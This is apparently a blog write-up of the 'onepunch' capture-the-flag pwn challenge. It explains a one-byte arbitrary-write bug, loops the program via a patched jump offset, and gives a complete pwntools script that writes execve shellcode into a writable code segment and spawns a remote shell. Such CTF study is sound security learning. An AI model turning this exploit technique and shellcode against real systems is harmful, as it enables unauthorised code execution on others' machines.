onepunch的wp
来源:互联网 发布:linux是哪个国家的 编辑:程序博客网 时间:2024/06/06 00:05
https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了onepunch这个题目感觉还不错,我把wp分享出来,方便大家学习
onepunch的题目要求是:
nc hackme.inndy.tw 7718Punch!
这个题目没有太多提示
下面我用ida打开smashthestack这个程序看main函数
这个程序在16行有一个任意地址写的漏洞,程序输入的第一个数字是写入的地址,第二个数字是写入的数,但是这个程序只能写一个字节的数据到指定地址
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行,而且这个程序还有canary保护,但是这个程序没有开启地址随机化
用gdb加载一下这个程序
用vmmap这个指令可以看到代码段可读写,这个题目一下子就简单了,通过任意地址的写,把shellcode写入内存中,然后执行起来,先看一下汇编代码
可以看到在任意地址写这个漏洞之后有个条件跳转(0000000000400767),可以控制这个跳转向上跳转到输入的地方(000000000040072C)从而使这段代码变成一个循环,可以看一下jz short loc_400756
对应的字节码是75 0a,75是jnz,0a是跳转的偏移,所以就刚刚好通过第一次写操作把这个0a改掉,所以程序开始时输入400768 -61就可以让这个程序变成一个循环了
这样通过这个循环把0000000000400769后面的代码变成shellcode就可以了,关于shellcode,里面不能出现255,如果有255的话,shellcode就会被程序截断,我找了半天,找到一个好用的shellcode:https://www.exploit-db.com/exploits/36858/
这样就可以实现exp了:
#-*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *import binasciiimport timecontext(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'amd64', os = 'linux', log_level = 'debug')def debug(addr = '0x000000000040075d'): raw_input('debug:') gdb.attach(io, "b *" + addr)elf = ELF('/home/h11p/hackme/onepunch')stack_chk_fail=elf.got['__stack_chk_fail']print "%x" % stack_chk_fail#shellcode=asm(shellcraft.amd64.linux.sh())#str_shellcode=str(binascii.b2a_hex(shellcode))#https://www.exploit-db.com/exploits/36858/shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"addr=0x0400769#io = process('/home/h11p/hackme/onepunch')io = remote('hackme.inndy.tw', 7718)payload1 = '400768'payload2 = '-61'#debug()time.sleep(1)io.recvuntil('Where What?')io.sendline(payload1)io.sendline(payload2)'''for i in xrange(0,len(str_shellcode),2): io.sendline(hex(addr)) io.sendline(str(int(str_shellcode[i:i+2],16))) addr=addr+0x1'''for i in shellcode: io.sendline(hex(addr)) io.sendline(str(ord(i))) addr = addr + 0x1io.sendline('4006f3')io.sendline(str(255))#io.recv()io.interactive()io.close()
效果是:
- onepunch的wp
- WP的好书
- wp的progressDialog
- wp 遇到的错误
- wp 的MD5代码
- 移植WP的总结
- sp&wp 的三板斧
- WP的后台代理
- sp&wp 的三板斧
- sp&wp 的三板斧
- smashthestack的wp
- raas的wp
- ping的wp
- leave_msg的wp
- stack的wp
- very_overflow的wp
- 湖湘杯pwn400的wp
- notepad的wp
- abstract = True
- 中央财经大学图书馆:座位对应的人Name获取
- 模拟登陆注册界面
- eclipse黑色主题的设置
- java 静态属性 静态代码块 静态方法声明 构造块 构造函数 动态属性 执行顺序
- onepunch的wp
- git 命令合并分支代码
- JS鼠标事件大全 《推荐》
- Java高级基础--阿里云Java复习
- 自定义switchview
- 架构师之路(9)多种负载均衡算法及其 Java 代码实现
- hbase优化分析
- 自定义view
- tensorflow google实战 学习笔记——TensorFlow入门(1)